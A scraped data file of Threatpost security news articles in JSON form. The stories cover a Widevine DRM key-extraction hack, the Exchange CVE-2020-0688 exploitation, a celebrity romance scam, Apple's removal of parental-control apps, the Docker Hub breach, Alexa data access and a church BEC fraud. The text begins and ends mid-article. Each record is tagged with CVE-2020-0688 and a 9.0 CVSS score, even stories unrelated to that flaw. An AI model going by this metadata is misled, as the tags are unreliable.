user,\u201d explained the firm, in a [Monday posting](<https://fidusinfosec.com/breaking-content-protection-on-streaming-websites/>) on the PoC. \u201cInstead, the header file that gets sent to the client when a stream is started contains the bare minimum information needed, containing just some metadata about the encryption scheme used.\u201d\n\nThat metadata then gets passed to the content decryption module (CDM), which is contained in the client or browser that the user has installed. The CDM handles getting the license keys from the Widevine license server, before the content is decrypted and displayed, using Arxan to obfuscate the communication with the server. The license server then sends back a license to the client, which contains the content keys. These content keys are then used by the CDM to decrypt the content, which the user can then view.\n\nHowever, using a new variant of a piracy method [uncovered by researcher David Buchanan](<https://twitter.com/David3141593/status/1080606827384131590>) in January, the Fidus researchers were able to board the Netflix ship, as it were, and plunder its premium content by plucking the keys out of this process.\n\n## Breaking Widevine L3\n\n\u201cIt was possible to download a raw file of Stranger Things from Netflix and fully remove the content protection enabled; allowing for illegal distribution of the material,\u201d Fidus researchers noted.\n\nIt should be noted that the issue lies with Widevine, and that Netflix is just one of many Widevine users susceptible to such an attack, the researchers said.\n\nFidus team said that they won\u2019t be publishing the PoC code or further details given that the repercussions could be significant. In January, Buchanan was similarly cagey about his own Widevine-cracking, but did say that it was \u201cscarily trivial to pull off,\u201d and that he used the [Side-Channel Marvels](<https://github.com/SideChannelMarvels>) project during \u201ca few evenings of work\u201d to do so.\n\n\u201cTheir Whitebox AES-128 implementation is vulnerable to the well-studied DFA attack, which can be used to recover the original key. Then you can decrypt the MPEG-CENC streams with plain old ffmpeg,\u201d he tweeted at the time, referring to differential fault analysis (DFA), more on which [can be found here](<https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html>).\n\nHe also said that while Google acknowledged the issue, there\u2019s not much to be done:\n\n> DRM is flawed by design. I do not consider this a bug, and it cannot be fixed.\n> \n> \u2014 D\u0430v\u0456d \u0412uc\u04bb\u0430n\u0430n (@David3141593) [January 3, 2019](<https://twitter.com/David3141593/status/1080618940689252352?ref_src=twsrc%5Etfw>)\n\nFidus intimated that it was working on breaking Widevine L1 and L2 \u2013 which \u201cWith Level 3 down, there\u2019s two to go.\u201d These, if cracked, would be a much bigger problem for Widevine and those that rely upon it, opening the door to pirating the higher-value HD content.\n\nThreatpost has reached out to Fidus for more details and will update this post for any new information.\n\nGoogle did not immediately return a request for comment.\n\n** **\n", "cvss3": {}, "published": "2019-04-30T16:28:34", "type": "threatpost", "title": "Researchers Compromise Netflix Content in Widevine DRM Hack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:28:34", "id": "THREATPOST:4C22D22EF8F65F5DA108A15C99CB9F55", "href": "https://threatpost.com/netflix-compromised-widevine-drm-hack/144220/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-10T12:45:58", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\nWrite a comment\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/?utm_source=rss&utm_medium=rss&utm_campaign=microsoft-exchange-server-flaw-exploited-in-apt-attacks", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:48", "description": "English actor Jason Statham \u2013 a.k.a. \u201cthe Transporter\u201d \u2013 is cozying up to people who like his Facebook page \u2013 or at least, someone purporting to be him is.\n\nA fraudster managed to bilk a vulnerable and unsuspecting Statham fan out of a \u201csignificant amount\u201d of money after approaching her while she was perusing a fan page for the actor on Facebook.\n\n\u201cShe thought it was nice that the actor had seemingly embraced \u2018talking to his fans,\u2019 and she admitted that she was also in a vulnerable place after recently losing her mother and fianc\u00e9,\u201d explained researchers at Tripwire, who flagged the incident in a [Monday post](<https://www.tripwire.com/state-of-security/latest-security-news/fraudster-posed-as-jason-statham-to-prey-upon-star-struck-users/>). \u201cShe therefore felt no unease when the fraudster asked her to talk with them over WhatsApp.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nA truly bad romance ensued, with hundreds of WhatsApp messages flying between the two over the course of months, during with Faux Statham professed his undying love: \u201cWill you love me and be the special woman beside me for the rest of your life honey\u201d reads one of the messages.\n\nAfter a pattern of trust was established, the supposed action-hero actor started to complain about financial difficulties due to a delayed film payment: \u201cI really need you to do this for me honey \u2019cause I can\u2019t trust anyone but you with my money honey.\u201d\n\nThe victim proceeded to send Western Union an undisclosed sum, after which the supposed Statham disappeared.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30163632/Statham-fraud.png>)\n\nSource: BBC\n\nAs detective constable Craig Moylon of the Greater Manchester Police in the UK [told the BBC](<https://www.bbc.com/news/uk-england-manchester-47969165>), \u201cThis lady has been subject to somebody who just tricked her at a very vulnerable time in her life. When you see the relentless messaging that this lady got from this person and you see the grooming and the exploitation\u2026 the impact is extraordinary.\u201d\n\nThe gullibility of the victim stood out to Tyler Reguly, manager of security R&D at Tripwire. He linked it to generational and cultural norms.\n\n\u201cThis is typically what I find most surprising about [successful scams](<https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/>),\u201d he told Threatpost in an interview. \u201cThere\u2019s a desire to believe, no matter how unlikely the scenario. We\u2019re a society of dreamers \u2013 \u2018I can win the lottery,\u2019 \u2018I can marry Celebrity X,\u2019 \u2018I can perform on stage alongside Singer Y\u2019 \u2013 and unfortunately, modern generations are being brought up to put even more belief in their dreams. So, while we have more tech savvy individuals, we have more potential targets for these criminals.\u201d\n\nThis scam also highlights the ingenuity of bad actors who prey upon unsuspecting users on social media, according to Tripwire.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30164155/Jason-Statham-008.jpg>)\n\n\u201cI would suspect that they setup a fan page for a celebrity and then contacted people via that fan page, claiming to be the celebrity,\u201d Reguly said. \u201cAlternatively, they may have been looking for people who publicly \u2018liked\u2019 a real Jason Statham page and reached out to those users, which is why it is important to verify the identity of those sending messages before you respond. In the case of the former, Facebook has done a great job of providing verified pages (similar to Twitter\u2019s verified users) that make it easy to tell when you\u2019re looking at a page associated with a known entity. (Specifically: \u2018A blue verification badge confirms that this is an authentic Page for this public figure, media company or brand\u2019).\u201d\n\nThese types of scams are on the rise, precisely because they\u2019re successful.\n\n\u201cI\u2019d be willing to wager that it is starting to become relatively common,\u201d Reguly said. \u201cPeople tend to have a soft spot for celebrities, we see people stand in line for hours to catch a glimpse of their favorite star filming, or pay hundreds of dollars for a quick handshake and autograph at conventions. We have a desire to connect with people who have had a meaningful impact in our lives, and that is quite commonly celebrities, particularly those that filled a role near and dear to our hearts or that sung a song that has always stuck with us\u2026.These scams work because we want to believe.\u201d\n", "cvss3": {}, "published": "2019-04-30T21:24:20", "type": "threatpost", "title": "Fake Jason Statham Bilks a Fan Out of Serious Money", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T21:24:20", "id": "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "href": "https://threatpost.com/fake-jason-statham-fan-money/144247/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:00:27", "description": "Apple is defending its decision to take down several highly popular parental control apps amidst a firestorm of backlash, saying it did so for \u201cprivacy and security\u201d reasons.\n\nApple came under scrutiny this weekend after a New York Times article alleged that the phone giant had unfairly removed or restricted at least 11 top screen-time and parental-control apps from its marketplace \u2013 after creating its own screen-time app. Among those that have been removed are OurPact, which has 3 million downloads, and Mobicip, which has 2.5 million downloads.\n\nWhile it looks like a competitive move, Apple tells a different story: Its aim was to weed out apps that were using mobile device management (MDM) technology it said, which gives third-party control and access over other devices and sensitive information, including location, app use and more. Parental-control apps, which allow parents to keep tabs (and set limits) on their children\u2019s on-phone activities, locations and more, are thus effectively collecting way too much data, Apple said.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cWe recently removed several parental-control apps from the App Store, and we did it for a simple reason: They put users\u2019 privacy and security at risk. It\u2019s important to understand why and how this happened,\u201d the company said in a [Sunday statement](<https://www.apple.com/newsroom/2019/04/the-facts-about-parental-control-apps/>), entitled \u201cThe Facts About Parental Control Apps.\u201d\n\nRegardless of the reason, the incident has raised questions about how competition is handled between apps and the sometimes-competing platforms that they are sold on. Impacted app developers, for their part, continue to be up-in-arms regarding the incident \u2013 with two popular parental control apps, Kidslox and Qustodio, last week filing an anti-competition complaint with the European Commission\u2019s competition office.\n\n## Angry App Devs\n\nThe Saturday[ report](<https://www.nytimes.com/2019/04/27/technology/apple-screen-time-trackers.html>) by the New York Times_, _working with app data firm Sensor Tower, shows that Apple has removed or restricted 11 of the 17 most downloaded parental-control apps, as well as restricting lesser-known apps. That includes forcing apps to remove features that enable parents to control children\u2019s devices, or restrict access to adult content.\n\nThe move comes after Apple launched its own screen control app, Screen Time, a feature built into iOS 12 that enables users to set screen time and limits on their own phones.\n\nThe complaint from Kidslox and Qustodio that was filed with the European Commission\u2019s competition office was filed in tandem with the report, saying that the removal and restriction of parental-control apps was an anti-competitive practice by nature.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144205/screen-time-1-.png>)\n\nParental Control Apps\n\nKidslox alleges that Apple has required it to make changes to its app that ultimately harmed it competitive factor.\n\n\u201cTo create Screen Time, Apple took the best pieces and best practices from existing parental-control and well-being apps in the App Store, bringing no tangible innovations to market,\u201d Kidslox CEO Viktor Yevpak said in a statement provided to Threatpost. \u201cStanding up to Apple is about even more than fair competition.\u201d\n\nMeanwhile Qustodio, in a statement showed to Threatpost regarding the EU complaint, said that Apple has arbitrarily blocked several parental-control apps in the market from making app updates, while completely removing others.\n\n\u201cWith the introduction of Apple\u2019s Screen Time, developers in the parental control category experienced unprecedented anti-competitive behavior from Apple,\u201d Qustodio CEO Eduardo Cruz said in the statement. \u201cThe company acts as both a marketplace and a gatekeeper and uses its dominant position to create exclusive competitive advantage for its own service.\u201d\n\nOther screen-time apps began complaining about being removed from the Apple Store all the way back in the fall of 2018, including Mute, a screen-time tracking app.\n\nNick Kuh, creator of Mute, [complained](<https://medium.com/@nick.kuh/mute-app-startup-to-shutdown-a1db01440c56>) in October 2018 that Apple had removed his app from the App Store (Apple later returned his app after his post gained media attention).\n\n\u201cIt appears that Apple are now shutting down many (all?) screen-time tracking apps now that they\u2019ve added screen-time tracking into iOS 12,\u201d he said in his post. \u201cIt turns out that Apple have sent a similar email to many other app developers of screen-time tracking and parental-control apps. I believe that Mute is one of the first to go, but expect others to disappear from the App Store in the coming weeks as their notice period expires.\u201d\n\n## Apple Hits Back** **\n\nIn response to reports of developer outrage, Apple said in a statement: \u201cApple has always supported third-party apps on the App Store that help parents manage their kids\u2019 devices. Contrary to what the _New York Times_ reported over the weekend, this isn\u2019t a matter of competition. It\u2019s a matter of security.\u201d\n\nApple said several of the apps removed use the MDM format, which is typically used by enterprises to give companies control over their employees\u2019 devices. However, when non-enterprise developers use the feature on their apps, the technology can have dangerous privacy and security implications, Apple said.\n\nThese MDM functions give apps a \u201cconfiguration profile\u201d which is generally used for enterprises \u2013 and allow users to configure or track certain settings \u2013 including app settings, Wi-Fi and permissions. In other words, app developers behind the apps gain access to all data \u2013 such as location, activity and more \u2013 of the children whose phones are being controlled.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144327/screen-time-2.png>)\n\nApple Screen Time\n\nApple did not respond to multiple requests for comment from Threatpost.\n\nThe company in its statement said that it began noticing that non-enterprise developers were using MDM back in early 2017, and updated their guidelines based on that work in mid-2017.\n\n\u201cWhen we found out about these guideline violations, we communicated these violations to the app developers, giving them 30 days to submit an updated app to avoid availability interruption in the App Store,\u201d Apple said. \u201cSeveral developers released updates to bring their apps in line with these policies. Those that didn\u2019t were removed from the App Store.\u201d\n\nHowever, app developers argue that MDM is not used maliciously and that parents setting up the apps are given fair notice about the MDM features when downloading the app.\n\nSuren Ramasubbu, CEO of one of the parental control apps impacted by Apple\u2019s crackdown, Mobicip, said that when parental control apps using MDM is installed, it is the parent that goes through the process of setting up \u2013 and they are explicitly asked to agree to the terms and conditions and privacy policy before installing the MDM profile and certificate.\n\n\u201cPlease note that the parent has explicitly agreed to enroll the device in a third-party MDM system,\u201d he said in a [post](<https://medium.com/@suren_60419/apples-case-for-removing-screentime-apps-seven-questions-for-phil-schiller-33cf78b01713>) over the weekend. \u201cDo these parents understand the risks? May be. May be not. But should it be the parent who decides the risk vs. reward? Given that Apple Screen Time requires both parents and children to be on Apple devices, and given that most families today have a blend of devices with the parents on Android, isn\u2019t it anti-competitive to not give parents this choice?\u201d\n\nApps like Kidslox and Qustodio continue to maintain that Apple\u2019s practices are unfair \u2013 and ultimately hurting both app developers and consumers.\n\n\u201cQustodio and Kidslox are asking Apple to stop this unprecedented hostile behavior, compete fairly, and open up exclusive API\u2019s and technologies introduced in their own Screen Time service,\u201d according to Qustodio.\n\nIt\u2019s not the first time Apple has come under fire for anti-competition app store practices \u2013 in March, [Spotify filed a complaint](<https://newsroom.spotify.com/2019-03-13/consumers-and-innovators-win-on-a-level-playing-field/>) against the iPhone maker saying that newly-introduced App Store rules \u2013 such as a 30 percent tax imposed on purchases made via Apple\u2019s payment system \u2013 stifle competing music services that are being sold on its platform.\n", "cvss3": {}, "published": "2019-04-29T19:26:31", "type": "threatpost", "title": "Apple Defends Parental Control App Removal Amid Backlash", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T19:26:31", "id": "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "href": "https://threatpost.com/apple-parental-control-app-removal/144181/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:03", "description": "UPDATE\n\nDocker Hub has confirmed that it was hacked last week; with sensitive data from approximately 190,000 accounts potentially exposed.\n\n\u201cOn Thursday, April 25th, 2019, we discovered unauthorized access to a single Hub database storing a subset of non-financial user data,\u201d Kent Lamb, director of Docker Support, said in an email over the weekend, which a Docker user [posted on online](<https://news.ycombinator.com/item?id=19763413>). \u201cUpon discovery, we acted quickly to intervene and secure the site.\u201d\n\nThe container specialist noted that it was a \u201cbrief period\u201d of unauthorized access that impacted less than 5 percent of Hub users; however, the data includes usernames and hashed passwords, as well as Github and Bitbucket tokens for Docker autobuilds.\n\n[](<https://threatpost.com/newsletter-sign/>) \nDocker has revoked GitHub tokens and access keys for affected accounts, and the company warned that this may affect ongoing builds from its automated build service; users \u201cmay need to [unlink and then relink](<https://docs.docker.com/docker-hub/builds/link-source/>) your GitHub and BitBucket source provider,\u201d Lamb warned.\n\nTorsten George, cybersecurity evangelist at Centrify, told Threatpost that \u201cWhen you dig deeper into the details of the breach, you\u2019ll see that it\u2019s not about the numbers, but the reach. The big issue about this breach is the fact that the database included tokens from other much-used developer resources, including GitHub and Bitbucket. This breach stresses the importance of application-to-application password management (AAPM) and temporary credentials rather than permanent ones.\u201d\n\n## Ramifications and What to Do\n\nCleanup from the incident could be significant endeavor, according to researchers.\n\n\u201cAs a result of this breach, it\u2019s possible that images in your Docker Hub repository may have been tampered with or overwritten,\u201d Wei Lien Dang, vice president of product at StackRox, told Threatpost. \u201cAttacks on the build pipeline can have serious downstream effects on what is currently running inside your infrastructure. Tainted images can be difficult to detect, and the containers launched from them may even run as expected, except with a malicious process in the background. If you use Docker Hub with Kubernetes environments, you\u2019ll also need to roll your ImagePullSecrets.\u201d\n\nEven though the passwords were hashed, Docker Hub users should change their passwords on Docker Hub and any other accounts that share that password. Users can also [view security actions](<https://help.github.com/en/articles/reviewing-your-security-log%20and%20https:/bitbucket.org/blog/new-audit-logs-give-you-the-who-what-when-and-where>) on GitHub and BitBucket accounts to check for unauthorized access.\n\n\u201cUnexpected changes in images will have an effect on application behavior, making runtime detection and application baselining critical,\u201d Dang said. \u201cCharacterizing the behaviors of individual Kubernetes deployments will highlight deviations in network connectivity, file access and process executions. These deviations are all indicators that malicious activity is taking place within a container. You need the ability to quickly inspect runtime activity within your containers to verify they are running only expected processes.\u201d\n\nAlso, because Docker didn\u2019t provide a specific timeline for this breach, no one knows how long ago the unauthorized access occurred. \u201cAs with most breaches, the perpetrators may have had access to compromised resources significantly longer than just last week,\u201d Dang said. \u201cTo be safe, you should verify recently pushed images going back over the past several weeks. Doing this audit can be difficult, as not every registry will let you filter the data by image age.\u201d\n\n## Docker: An Escalating Target?\n\nDocker has been in the security headlines before in the recent past; for instance, in January, researchers [hacked the Docker test platform](<https://threatpost.com/hack-allows-escape-of-play-with-docker-containers/140831/>) called Play-with-Docker with a proof-of-concept hack, allowing them to access data and manipulate any test Docker containers running on the host system. The team was able to escape the container and run code remotely right on the host.\n\nAlso, last year 17 malicious docker images [were found available](<https://threatpost.com/malicious-docker-containers-earn-crypto-miners-90000/132816/>) on Docker Hub that allowed hackers to earn $90,000 in cryptojacking profits.\n\nAnd Docker [in 2017 patched](<https://threatpost.com/docker-patches-container-escape-vulnerability/123161/>) a privilege escalation vulnerability that could also have lead to container escapes, allowing a hacker to affect operations of a host from inside a container.\n\nContainers are increasing in popularity among DevOps users in companies of all sizes because they facilitate collaboration, which optimizes their ability to deliver code fast to virtual environments. However, Lacework in [an analysis in 2018](<https://threatpost.com/22k-open-vulnerable-containers-found-exposed-on-the-net/132898/>) noted that securing workloads in public clouds requires a different approach than that used for traditional data centers, where APIs drive the infrastructure and create short-lived workloads. In turn, they\u2019re also becoming more interesting to cybercriminals, Dan Hubbard, chief security architect at Lacework, told Threatpost.\n\nEnterprises also report an accelerating number of container attacks. In fact, 60 percent of respondents in [a recent survey](<https://threatpost.com/threatlist-container-security/140614/>) acknowledged that their organizations had been hit with at least one container security incident within the past year. In companies with more than 100 containers in place, that percentage rises to 75 percent.\n\n_This story was updated on April 30 to add insight into potential repercussions of the incident. _\n", "cvss3": {}, "published": "2019-04-29T14:13:23", "type": "threatpost", "title": "Docker Hub Hack Affects 190K Accounts, with Concerning Consequences", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T14:13:23", "id": "THREATPOST:B047BB0FECBD43E30365375959B09B04", "href": "https://threatpost.com/docker-hub-hack/144176/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:21", "description": "Employees at Amazon can access geolocation information for Alexa users, according to reports \u2013 thus uncovering their home addresses and even satellite pictures of their houses generated from a service such as Google Earth.\n\nAlexa is the built-in voice assistant shipped with devices like Amazon Echo, Amazon Dot, Fire TV and some third-party gadgets. Confidential employee sources speaking to Bloomberg said that the global team that manually audits Alexa\u2019s accuracy in understanding voice commands can \u201ceasily find\u201d a customer\u2019s home address, by combining the GPS coordinates that they have access to with public mapping services.\n\nThis division, known as the Alexa Data Services Team, is tasked with listening to random samplings of voice commands \u2013 and then matching up Alexa\u2019s response to them to see if the voice-recognition technology is working the way that it should. In theory this is anonymized, but location information in the form of GPS coordinates is captured in order to provide localized search results. For instance, if a user asks for the weather forecast, or a review for a restaurant, the geolocation data is necessary to carry out the requests.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nFive Amazon employees [confirmed to Bloomberg](<https://www.bloomberg.com/news/articles/2019-04-24/amazon-s-alexa-reviewers-can-access-customers-home-addresses>) that the division has access to the location data, and two members of the Alexa team said that they felt they have been given \u201cunnecessarily broad access\u201d to personal information.\n\nThey also shared a demo, demonstrating that by plugging in longitude and latitude of a device to Bing Maps or Google Maps, it\u2019s possible to bring up an address and even an image of the Alexa-owner\u2019s house.\n\n\u201cOften an individual piece of data might be innocuous, but the connected-ness of the world today means that no data can be viewed in a vacuum,\u201d Tim Erlin, vice president of product management and strategy at Tripwire, told Threatpost. \u201cGPS coordinates aren\u2019t personally identifiable on their own, but when coupled with a freely accessible system that translates them into an image of that location, they certainly are.\u201d\n\nFor its part, Amazon downplayed the issue.\n\n\u201cAccess to internal tools is highly controlled, and is only granted to a limited number of employees who require these tools to train and improve the service by processing an extremely small sample of interactions,\u201d Amazon said in a statement to media. \u201cOur policies strictly prohibit employee access to or use of customer data for any other reason, and we have a zero-tolerance policy for abuse of our systems. We regularly audit employee access to internal tools and limit access whenever and wherever possible.\u201d\n\nIt\u2019s unclear how many employees have access to the information, but the sources said that the Data Services Team numbers in the \u201cthousands of employees and contractors,\u201d located in Boston, India and Romania.\n\nThe employees also said that there is a second internal Amazon Alexa team for \u201cannotators and verifiers,\u201d who are privy to the information that customers input into the Alexa app when setting up a device. That includes home and work addresses, phone numbers, and any entered contact names, numbers and email addresses. This smaller team is responsible for making sure that Alexa correctly identifies contacts when someone asks her to \u201ccall my mom,\u201d for example.\n\nAll of that said, Amazon appears to have restricted some data access in the wake of a previous Bloomberg report revealing the existence of the Alexa Data Services Team, the outlet said.\n\nNot everyone is concerned about the news.\n\n\u201cThis is overblown. There is no reason to doubt that Amazon is sincere in its claim that only a select few employees have access to consumers\u2019 information and use it in order to perform their job,\u201d said Mike Bittner, manager for Digital Security and Operations at The Media Trust, via email.\n\n\u201cFeatures referenced in the article (suggested restaurants, etc.) require geolocation tracking, suggested products and targeted advertising require purchase and browser/cookie tracking, daily reminders require calendar tracking. All of these features are products of the continued trailing, recording and analysis of user behavior and undoubtedly make the smart home a more convenient tool,\u201d wrote Bittner.\n\nThus, the situation once again brings up the thorny issue of balancing consumer benefit with potential privacy abuse. It makes sense for Amazon to audit how well Alexa is performing \u2013 but is a flawless Alexa experience worth the data exposure for consumers?\n\n\u201cAmazon employees listening to private conversations recorded by Alexa speaks to the very fears that many of us have about smart-home devices,\u201d Harold Li, vice president at ExpressVPN, told Threatpost in an interview. \u201cThese revelations will no doubt make consumers think twice before buying, as our research has shown that privacy concerns and brand trust are crucial in the smart home space.\u201d\n\nHe added, \u201cIt\u2019s more than reasonable for consumers to expect that companies like Amazon do not invade the sanctity of private conversations in their own homes, and we should demand that companies respect that.\u201d\n", "cvss3": {}, "published": "2019-04-25T15:55:18", "type": "threatpost", "title": "Amazon Employees Given 'Broad Access' to Personal Alexa Info", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-25T15:55:18", "id": "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "href": "https://threatpost.com/amazon-employees-personal-alexa/144119/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:57:09", "description": "A church in Brunswick, Ohio was scammed out of a whopping $1.75 million as a result of a business email compromise (BEC) attack.\n\nSt. Ambrose Catholic Parish, which has around 16,000 members, has been working on a massive $4 million church renovation, dubbed \u201cVision 20/20\u201d \u2013 but attackers figured out a way to hack into the church\u2019s email system, take control of two church employee accounts, and eventually divert payments related to the project to a fraudulent account owned by them.\n\nAccording to [local reports](<https://www.cleveland.com/crime/2019/04/email-hackers-steal-175-million-from-st-ambrose-catholic-parish-in-brunswick.html>), the church said in a letter to parishioners over the weekend that it was notified of the issue on April 17, after the construction company behind the renovations contacted the church saying it had missed payments on the project.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cOn Wednesday, Marous Brothers called inquiring as to why we had not paid our monthly payment on the project for the past two months, totaling approximately $1,750,000,\u201d according to an email sent by the church to parishioners. \u201cThis was shocking news to us, as we have been very prompt on our payments every month and have received all the appropriate confirmations from the bank that the wire transfers of money to Marous were executed/confirmed.\u201d\n\nAfter involving the Brunswick police and the FBI, the church discovered that their email system was hacked and that bad actors had taken control of two employee email accounts.\n\nUsing these two hacked accounts, the attackers were able to pretend they were the email accounts\u2019 real owners, and deceived other employees into believing Marous Brothers had changed their bank and wiring instructions. The $1.75 million in church payments for two months were then sent to a fraudulent bank account owned by the cybercriminals.\n\n\u201cThe money was then swept out by the perpetrators before anyone knew what had happened,\u201d according to the church. \u201cNeedless to say, this was very distressing information.\u201d\n\nThe church said it is currently working with the FBI and its insurance company to try to recover the stolen funds. Meanwhile, it said, no other data \u2013 such as databases with parishioner information or church financial information \u2013 has been compromised.\n\nBEC scams continue to plague companies as attackers become more advanced \u2013 particularly as infamous BEC groups like [London Blue](<https://threatpost.com/bec-scam-gang-london-blue-evolves-tactics-targets/143440/>), [Scarlet Widow](<https://threatpost.com/rsac-2019-bec-scammer-gang-takes-aim-at-boy-scouts-other-nonprofts/142302/>) and others continue honing their techniques.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30112714/FBI-IC3-11.png>)\n\n[According to](<https://threatpost.com/fbi-bec-scam-losses-double/144038/>) the FBI\u2019s annual Internet Crime Report (IC3) for 2018, BEC scams ultimately drained victims of over $1.2 billion last year. For contrast, in 2017, BEC attacks resulted in adjusted losses of $675 million.\n\nSt. Ambrose Catholic Parish isn\u2019t the first high-profile community case, either. The FBI in its report said it received a complaint from a town in New Jersey that fell victim of a BEC scam \u2014 and transferred over $1 million to a fraudulent account (the FBI was able to freeze the funds and return the money to the town). Individuals suffer too: In another case, a BEC victim received a email purporting to be from their closing agent during a real-estate transaction \u2014 resulting in the person initiating a wire transfer of $50,000 to a fraudster\u2019s bank account located in New York.\n\nRonnie 